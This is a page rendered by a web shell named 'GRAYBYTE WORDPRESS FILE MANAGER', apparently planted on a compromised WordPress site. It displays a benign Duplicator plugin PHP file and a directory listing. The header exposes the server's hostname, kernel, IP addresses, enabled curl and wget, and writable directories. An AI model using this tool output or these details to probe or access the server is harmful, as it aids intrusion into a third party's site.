✘✘ GRAYBYTE WORDPRESS FILE MANAGER ✘✘

​🇳​​🇦​​🇲​​🇪♯➤ premium290.web-hosting.com ​🇻​♯➤ 4.18.0-553.45.1.lve.el8.x86_64 #1 SMP 🇾​♯➤ 2025

𝗛𝗢𝗠𝗘 𝗜𝗗 ♯➤ 63.250.38.37 ♯➤ 𝗔𝗗𝗠𝗜𝗡 𝗜𝗗 216.73.217.6
𝗢𝗣𝗧𝗜𝗢𝗡𝗦 ♯ CRL ♯➤ 𝗢𝗞 ┃ WGT ♯➤ 𝗢𝗞 ┃ SDO ♯➤ 𝗢𝗙𝗙 ┃ PKEX ♯➤ 𝗢𝗙𝗙
𝗗𝗘𝗔𝗖𝗧𝗜𝗩𝗔𝗧𝗘𝗗 ♯➤ 𝗔𝗟𝗟 𝗪𝗢𝗥𝗞𝗜𝗡𝗚....

𝗛𝗢𝗠𝗘
𝗖𝗨𝗥𝗥𝗘𝗡𝗧 𝗙𝗜𝗟𝗘 : /home/tdhomesa/tdtravelandlogistics.com/wp-content/plugins/duplicator/src/Utils//ExpireOptions.php
<?php

/**
 * Expire options
 *
 * @package   Duplicator
 * @copyright (c) 2022, Snap Creek LLC
 */

namespace Duplicator\Utils;

use Duplicator\Libs\Snap\JsonSerialize\JsonSerialize;
use Duplicator\Libs\Snap\SnapDB;

final class ExpireOptions
{
    const OPTION_PREFIX = 'duplicator_expire_';

    /** @var array<string, array{expire: int, value: mixed}> */
    private static $cacheOptions = array();


    /**
     * Sets/updates the value of a expire option.
     *
     * You do not need to serialize values. If the value needs to be serialized,
     * then it will be serialized before it is set.
     *
     * @param string $key        Expire option key.
     * @param mixed  $value      Option  value.
     * @param int    $expiration Optional. Time until expiration in seconds. Default 0 (no expiration).
     *
     * @return bool True if the value was set, false otherwise.
     */
    public static function set($key, $value, $expiration = 0)
    {
        $time = ($expiration > 0 ? time() + $expiration : 0);

        self::$cacheOptions[$key] = array(
            'expire' => $time,
            'value'  => $value,
        );

        return update_option(self::OPTION_PREFIX . $key, JsonSerialize::serialize(self::$cacheOptions[$key]), true);
    }

    /**
     * Retrieves the value of a expire option.
     *
     * If the option does not exist, does not have a value, or has expired,
     * then the return value will be false.
     *
     * @param string $key     Expire option key.
     * @param mixed  $default Return this value if option don\'t exists os is expired
     *
     * @return mixed Value of transient.
     */
    public static function get($key, $default = false)
    {
        if (!isset(self::$cacheOptions[$key])) {
            if (($option = get_option(self::OPTION_PREFIX . $key)) == false) {
                self::$cacheOptions[$key] = self::unexistsKeyValue();
            } else {
                self::$cacheOptions[$key] = JsonSerialize::unserialize($option);
            }
        }

        if (self::$cacheOptions[$key]['expire'] < 0) {
            // don't exists the wp-option
            return $default;
        }

        if (self::$cacheOptions[$key]['expire'] > 0 && self::$cacheOptions[$key]['expire'] < time()) {
            // if 0 don't expire so check only if time is > 0
            self::delete($key);
            return $default;
        }

        return self::$cacheOptions[$key]['value'];
    }

    /**
     * This function returns the value of the option or false if it has expired. In case the option has expired then it is updated.
     * It does the same thing as a get and a set but with one less query.
     *
     * @param string $key        Expire option key.
     * @param mixed  $value      Option  value.
     * @param int    $expiration Optional. Time until expiration in seconds. Default 0 (no expiration).
     *
     * @return mixed Value of transient.
     */
    public static function getUpdate($key, $value, $expiration = 0)
    {
        if (!isset(self::$cacheOptions[$key])) {
            if (($option = get_option(self::OPTION_PREFIX . $key)) == false) {
                self::$cacheOptions[$key] = self::unexistsKeyValue();
            } else {
                self::$cacheOptions[$key] = JsonSerialize::unserialize($option);
            }
        }

        if (self::$cacheOptions[$key]['expire'] < time()) {
            self::set($key, $value, $expiration);
            return false;
        }

        return self::$cacheOptions[$key]['value'];
    }

    /**
     * Deletes a option
     *
     * @param string $key Expire option key. Expected to not be SQL-escaped.
     *
     * @return bool True if the option was deleted, false otherwise.
     */
    public static function delete($key)
    {
        if (delete_option(self::OPTION_PREFIX . $key)) {
            self::$cacheOptions[$key] = self::unexistsKeyValue();
            return true;
        } else {
            return false;
        }
    }

    /**
     * Delete all options
     *
     * @return bool
     */
    public static function deleteAll()
    {
        /** @var \wpdb $wpdb */
        global $wpdb;

        $optionsTableName = esc_sql($wpdb->base_prefix . "options");
        $query            = $wpdb->prepare(
            "SELECT `option_name` FROM `{$optionsTableName}` WHERE `option_name` REGEXP %s",
            SnapDB::quoteRegex(self::OPTION_PREFIX)
        );
        $dupOptionNames   = $wpdb->get_col($query);

        foreach ($dupOptionNames as $dupOptionName) {
            delete_option($dupOptionName);
        }
        self::$cacheOptions = array();

        return true;
    }

    /**
     * Return value for unexists key option
     *
     * @return array{expire: int, value: false}
     */
    private static function unexistsKeyValue()
    {
        return array(
            'expire' => -1,
            'value'  => false,
        );
    }
}


Current_dir [ 𝗪𝗥𝗜𝗧𝗘𝗔𝗕𝗟𝗘 ] Document_root [ 𝗪𝗥𝗜𝗧𝗘𝗔𝗕𝗟𝗘 ]


[ Back ]
𝗡𝗔𝗠𝗘
𝗦𝗜𝗭𝗘
𝗟𝗔𝗦𝗧 𝗧𝗢𝗨𝗖𝗛
𝗨𝗦𝗘𝗥
𝗦𝗧𝗔𝗧𝗨𝗦
𝗙𝗨𝗡𝗖𝗧𝗜𝗢𝗡𝗦
..
--
23 May 2026 10.12 AM
tdhomesa / tdhomesa
0755
CachesPurge
--
23 May 2026 10.12 AM
tdhomesa / tdhomesa
0755
Email
--
23 May 2026 10.12 AM
tdhomesa / tdhomesa
0755
ExtraPlugins
--
23 May 2026 10.12 AM
tdhomesa / tdhomesa
0755
Help
--
23 May 2026 10.12 AM
tdhomesa / tdhomesa
0755
Support
--
23 May 2026 10.12 AM
tdhomesa / tdhomesa
0755
UsageStatistics
--
23 May 2026 10.12 AM
tdhomesa / tdhomesa
0755
Autoloader.php
3.327 KB
16 Mar 2023 4.06 PM
tdhomesa / tdhomesa
0644
CronUtils.php
1.188 KB
19 Sep 2023 6.17 PM
tdhomesa / tdhomesa
0644
DuplicatorPhpVersionCheck.php
3.824 KB
11 Mar 2025 6.31 PM
tdhomesa / tdhomesa
0644
ExpireOptions.php
4.821 KB
11 Mar 2025 6.31 PM
tdhomesa / tdhomesa
0644
LinkManager.php
0.623 KB
9 Oct 2024 10.18 PM
tdhomesa / tdhomesa
0644
Upsell.php
2.315 KB
15 Jul 2025 3.57 PM
tdhomesa / tdhomesa
0644
ZipArchiveExtended.php
10.462 KB
24 Sep 2024 11.42 PM
tdhomesa / tdhomesa
0644

✘✘ GRAYBYTE WORDPRESS FILE MANAGER @ 2026 CONTACT ME ✘✘
Static GIF Static GIF